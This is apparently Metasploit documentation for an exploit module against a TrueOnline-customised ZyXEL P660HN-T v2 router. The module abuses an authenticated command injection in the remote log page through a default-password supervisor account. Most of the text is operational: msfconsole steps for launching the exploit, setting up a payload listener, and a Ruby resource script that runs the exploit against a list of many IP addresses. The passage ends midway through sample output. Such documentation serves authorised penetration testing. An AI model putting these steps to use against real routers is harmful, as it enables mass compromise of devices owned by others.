List of CVEs: CVE-2017-18370, CVE-2017-18371
TrueOnline is a major ISP in Thailand, and it distributes a customized version of the ZyXEL P660HN-T v2 router. This customized version has an authenticated command injection vulnerability in the remote log forwarding page. This can be exploited using the "supervisor" account that comes with a default password on the device. This module was tested in an emulated environment, as the author doesn't have access to the Thai router any more. Any feedback should be sent directly to the module's author, as well as to the Metasploit project. Note that the inline payloads work best. There are Turkish and other language strings in the firmware, so it is likely that this firmware is not only distributed in Thailand. Other P660HN-T v2 in other countries might be vulnerable too.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using trueonline_p660hn_v2_rce against a single host
Normally, you can use exploit/linux/http/trueonline_p660hn_v2_rce this way:
msf > use exploit/linux/http/trueonline_p660hn_v2_rce
msf exploit(trueonline_p660hn_v2_rce) > show targets
... a list of targets ...
msf exploit(trueonline_p660hn_v2_rce) > set TARGET target-id
msf exploit(trueonline_p660hn_v2_rce) > show options
... show and set options ...
msf exploit(trueonline_p660hn_v2_rce) > exploit
Using trueonline_p660hn_v2_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your trueonline_p660hn_v2_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/trueonline_p660hn_v2_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
